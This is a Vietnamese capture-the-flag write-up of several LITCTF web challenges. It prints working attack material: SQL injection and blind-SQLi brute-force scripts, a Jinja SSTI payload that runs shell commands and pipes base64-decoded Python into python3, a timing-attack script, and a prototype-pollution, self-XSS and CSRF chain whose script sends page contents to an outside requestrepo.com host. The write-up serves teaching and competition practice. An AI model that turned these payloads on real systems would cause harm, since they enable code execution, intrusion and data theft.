Giải này thì team mình được hạng 14, lúc đầu mình định sẽ không viết wu đâu nhưng vì khá tiếc bài cuối 🥺 nên vẫn quyết định dành ra tí thời gian để làm cho giải này được "hoàn thiện".
Personal Website
Bài này flag được chia thành 3 phần và được dấu ở trong trang web. Ctrl + U ta tìm được phần thứ nhất:
Ở file style.css
, là phần thứ 2
Phần cuối cùng nằm ở javascript.js
Kevin's Cookies
Dùng extension cookie editor để xem giá trị cookie của trang web mình thấy có một giá trị là likeCookie=false
Sau khi set lại nó thành true thì có vẻ việc tiếp theo ta phải làm là brute giá trị cookie này từ 1 đến 20
Cuối cùng ở likeCookie=17
ta tìm được flag
Guess The Pokemon
Bài này thì author có để source, sau khi tải về thì vuln ở đoạn code sau
\=> sqli
Submit name 1 or 1=1
, ta được flag
Among Us
Bài này hơi guessy một tí, để dễ thì ta có thể dùng burp sau khi truy cập vào link challange và chuyển sang tab HTTP history của burp
Ấn vào xem request này, ta được flag nằm ở header của response
EYANGCH Fan Art Maker & EYANGCH Fan Art Maker 2.0
Có một ô để ta submit code
Ấn submit thì ta thấy có một image chứa flag nhưng đã bị che đi
Cả hai bài này mình đều giải theo hướng unintended, submit <component name="EYANGOTZ"> </component>
để ghi đè các thành phần của nó và kết quả là
Amy The Hedgehog
Nhập a
, ấn guess
hiển thị ra
Nhập a' or 1=1-- -
\=> blind sqli
Dựa vào mô tả của đề ta biết đc db là sqlite3, script exploit:
import requests
url = 'http://litctf.live:31770/'
flag = ""
for i in range(1, 40):
for c in range(32, 128):
payload = "' or (select substr(name,{},1) from names) = char({})) --".format(i, c)
req = requests.post(url, data={ 'name': payload })
if "You got it" in req.text:
flag = flag + chr(c)
print(flag)
break
print(flag)
Flushed Emoji
Click vào Flushed Emoji
, hiển thị ra thêm một cửa sổ mới yêu cầu nhập username, password 😨
Mình nhập đại bla:bla
và thu được
Vì bài này có cho source nên đi vào phân tích thôi, sau khi tải về thì ta thấy sẽ có 2 folder chính: data-server
là một database server dùng để truy xuất giữ liệu, main-server
là web server tương tác với ta. data-server
nằm ở interal network nên chỉ có thể tương tác với nó thông qua main-server
.
Nhảy vào xem source file main-server/main.py
, vuln rất dễ thấy: ssti ở password
Tới đây có một việc cần lưu ý nữa đó là sẽ có một POST request gửi từ main-server
đến data-server
với username
và password
(sau khi đã filter chỉ gồm chữ cái) để truy xuất dữ liệu.
Đọc source của file data-server/main.py
Nếu câu truy vấn có trả về kết quả thì return True
ngược lại return False
=> sqli blind
Vậy suy ra bài này sẽ có 2 vuln đó là ssti + sqli, mình đã đề cập trước đó chỉ có main-server
mới giao tiếp được với data-server
nên ý tưởng là ssti để RCE và thực hiện sqli.
Vì không thể xài .
trong payload ssti
if('.' in password):
return render_template_string("lmao no way you have . in your password LOL")
nên ta dùng cách khác
cat main.py để lấy địa chỉ IP của data-server
Sau khi có IP rồi thì ta bắt đầu khai thác sqli, mình tốn kha khá thời gian để nhận ra main-server
này không có curl command 😗 vì vậy sẽ chuyển qua khai thác với requests trong python
Và để tránh bị filter đi .
thì mình sẽ encode payload rồi pipe output vào python, payload tổng quát sẽ như sau: echo <base64 encoded payload> | base -d | python3
script:
flag = ""
l = 1
while not flag.endswith('}'):
for i in range(32, 128):
payload = "import requests;r = requests.post('http://172.24.0.8:8080/runquery',json={'username':'flag\\' and substr(password,INDEX,1)=char(CHAR)--','password':'1'});print(r.text)".replace("INDEX", str(l)).replace("CHAR", str(i))
#print(payload)
final_payload = b64encode(payload.encode()).decode()
password = '{{lipsum["__globals__"]["os"]["popen"]("echo BASE64 | base64 -d | python3")["read"]()}}'.replace("BASE64", final_payload)
r = requests.post(url, data={'username':'a', 'password': password})
if "True" in r.text:
flag += chr(i)
print(flag)
break
l+=1
# LITCTF{flush3d_3m0ji_o.0}
Secure Website
Truy cập vào trang hiển thị ra là một ô để ta nhập password
Nhập đại gì đó và ấn Log in
bị dẫn đến trang youtube của rick roll 😂, kiểm tra ở tab HTTP History thì có một request được gửi tới server
Ấn viewsource trang, thấy có một đoạn JS thực hiện mã hóa RSA đối với password ta nhập vào
Người ta còn để sẵn cả các tham số của nó luôn cơ 🤣
Trên server sau khi nhận được request tới sẽ thực hiện kiểm tra
Hàm mà ta cần chú ý là checkPassword()
được khai báo trong passwordChecker.js
// I think this is how you're supposed to implement RSA?
// IDK this is a web challenge not a crypto challenge :clown:
// I just picked 2 random prime numbers as the tutorial said
// (Or is it 0_0)
var p = 3217;
var q = 6451;
var e = 17;
// Hmmm, RSA calculator says to set these values
var N = p * q;
var phi = (p - 1) * (q - 1);
var d = 4880753;
function decryptRSA(num) {
return modPow(num, d, N);
}
function checkPassword(password, pass) {
var arr = pass.split(",");
console.log(arr);
for (var i = 0; i < arr.length; ++i) {
arr[i] = parseInt(arr[i]);
}
if (arr.length != password.length) return false;
for (var i = 0; i < arr.length; ++i) {
var currentChar = password.charCodeAt(i);
var currentInput = decryptRSA(arr[i]);
if (currentChar != currentInput) return false;
}
return true;
}
function modPow(base, exp, mod) {
var result = 1;
for (var i = 0; i < exp; ++i) {
result = (result * base) % mod;
}
return result;
}
module.exports = { checkPassword }
Idea khai thác bài này là từ một teamate của mình AP#4666
dựa trên timing attack, tại sao lại là timing attack ?
Để ý ở đoạn code dòng 25, nếu length password ta gửi lên đúng với length password trên server thì mới bắt đầu decrypt. Hàm decrypt là hàm mũ, vậy nếu ta send một chuỗi số cực lớn thì một khi điều kiện if ở dòng 25 thỏa sẽ bắt đầu decrypt và time response trả về sẽ lớn.
\=> Length password sẽ là 6
Tiếp theo cũng áp dụng cách tương tự để brute các kí tự còn lại, ta sẽ gửi lên server <encryt(bruting char)>, big_num, big_num, big_num, big_num, big_num
. Một điều cần lưu ý thêm đó là time delay ở các kí tự sau sẽ tăng dần điều này là hiển nhiên vì chuỗi ta đang brute chứa 6 kí tự
vì vậy cần chọn thời gian cho thích hợp để brute
Sau khi có được 5 kí tự đầu thì ta sẽ brute kí tự cuối cùng
import requests
import time
import string
def encrypt(input):
p = 3217
q = 6451
e = 17
N = p * q
phi = (p - 1) * (q - 1)
d = 4880753
res = 1
for i in range(e):
res = (res * input) % N
return res
length = 6
first_5_char_real_pass = "CxIj6"
dic = [big_num] * length
for _ in range(5):
dic[_] = encrypt(ord(first_5_char_real_pass[_]))
for c in string.ascii_letters + string.digits:
dic[5] = encrypt(ord(c))
password = ','.join([str(x) for x in dic])
r = requests.get(URL + "/verify?password=" + password)
# print(URL + "/verify?password=" + password)
if "LITCTF" in r.text:
print("[-] password: " + first_5_char_real_pass + c)
print(r.text)
break
'''
Kết quả:
password: CxIj6p
-> Flag: LITCTF{uwu_st3ph4ni3_i5_s0_0rz_0rz_0TZ}
'''
Imgurbage
Bài này thì mình chỉ đi gần được một nửa thôi để solve thôi, sau khi giải end mình mới đi hỏi author solution và quyết định viết sẽ viết writeup cho nó.
Access vào link challenge, hiển thị ra một trang login:
Ở /register
ta có thể đăng kí account với username
, nickname
, decade
, password
:
Sau khi tạo account và login vào thì thấy được thêm 3 chức năng mới:
Tạo mới image: bao gồm
url
vàdescription
của imageAdd Friend: dùng để add friend với con bot
View Friend: view image của friend
Source code thì đã có sẵn nên các bạn có thể tự đọc, mình sẽ đi thẳng vào những điểm quan trọng để giải bài này, đầu tiên là ở /register
:
có một đoạn check md5(nickname)
phải khác một giá trị hash cho trước, và dòng message
cũng đã khiến mình để ý tới nó.
Vì là md5 nên thử lên mạng tìm tool decrypt và kết quả:
🤔 prototype pollution (PP) à ? Tiếp theo mình để ý ở đoạn code trong file user.js
:
addFriend(friend) {
if(friend instanceof User && md5(friend.nickname) != "1f4e0a21bb6eef87c17ca2abdfc28369") {
for(let img in friend.images[friend.nickname]) {
if(!(friend.nickname.trim() in this.images)) this.images[friend.nickname.trim()] = {};
// console.log(this.images[friend.nickname.trim()]["test"] = 123);
console.log(this.images)
this.images[friend.nickname.trim()][img] = friend.images[friend.nickname][img];
}
}
}
friend.nickname.trim()
thực hiện việc remove đi các kí tự space ở đầu và cuối chuỗi, 🧐 tới đây mình nảy ra idea là sẽ dùng " _proto_" để bypass đoạn check md5 ở trên nhưng vẫn có thể khai thác PP.
Tiếp đó muốn sử dụng PP thì ta sẽ cần tìm một biến đặc biệt để pollute , để ý từ file addFriend.js
bot sẽ truy cập tới /register
đăng kí một random account, sau đó là /new
để tạo một image với description là flag rồi cuối cùng mới access tới /combine
để view image của account truyền vào thông qua GET param => Điểm cuối của bot là /combine
và sẽ được render từ combine.ejs
nên mình nhảy vào đọc file này. Chú ý tới những chỗ sau:
Sau khi thực hiện user.addFriend(friendUser)
thì bắt đầu gán decade = window.decade ?? user.decade
, và ở bên dưới là innerHTML+=decade
từ đó có thể suy ra nếu ta control được biến decade
thì có thể khai thác XSS.
Đoạn code trong file user.js
mình đã trích ở trên có một chỗ cần quan tâm đó là this.images[friend.nickname.trim()][img]
cái img
trong này trace ngược lại đó chính là 6 kí tự đầu md5 hash của cái url
:
Tới đây thì mọi thứ có vẻ hợp lí, vì chuỗi decade
bao gồm các kí tự đều nằm trong hệ hex và cũng vừa đủ 6 kí tự, viết script để brute và tìm thôi:
import string
import random
from hashlib import md5
while True:
ran = ''.join(random.choices(string.ascii_uppercase + string.digits + string.ascii_lowercase, k = 15))
output = md5(ran.encode()).hexdigest()[0:6]
if output == "decade":
print(f"FOUND: " + str(ran))
break
else:
print(output, end = "\r")
# f0pu0bEicPFBhOE
Kết quả: f0pu0bEicPFBhOE
Làm tới đây thì mình lại đâm đầu đi bypass cái CSP, search mạng đủ kiểu để steal nonce blabla ... 😩 và thế là chả giải ra.
Sau khi end giải và đi hỏi solution thì mình biết được cần phải áp dụng self XSS ở phần /register
, thử tạo một account với username là <script>alert(1)</script>
và sau đó cố tình tạo lại account khác với cùng username này:
-> self XSS
Kịch bản khai thác sẽ như sau
Đăng kí một account với username là payload XSS để steal description của bot, nickname là " _proto_"
Login với account vừa tạo sau đó tạo mới một image với
url=f0pu0bEicPFBhOE
vàdescription=<iframe src="http://fiph4zll.requestrepo.com"></iframe>
Ở
http://fiph4zll.requestrepo.com
cấu hình cho response trả về một form CSRF thực hiện việc re-register cái account vừa tạo ở1.
<body>
<form action="http://localhost:8080/register" method="POST">
<input type="text" name="username" placeholder="username" id="payload">
<br><br>
<input type="text" name="nickname" placeholder="nickname" value="bla">
<br><br>
<input type="text" name="decade" placeholder="decade" value="bla">
<br><br>
<input type="password" name="password" placeholder="password" value="bla">
<br><br>
<input type="submit" value="Submit">
</form>
<script>
value = "\x3Cscript>var x = new XMLHttpRequest;x.open('GET','/view'); x.onload = function (){navigator.sendBeacon('http://fiph4zll.requestrepo.com', this.responseText)};x.send();\x3C/script>";
document.getElementById("payload").setAttribute('value', value);
document.forms[0].submit();
</script>
</body>
-> Trigger self XSS trong iframe và thành công steal được description chứa flag
Sau đây là hiện thực các bước:
- register account với username là payload xss
- tạo mới một image:
- add friend với admin:
- chờ vài giây có một POST request gửi tới:
- decode và lấy được flag: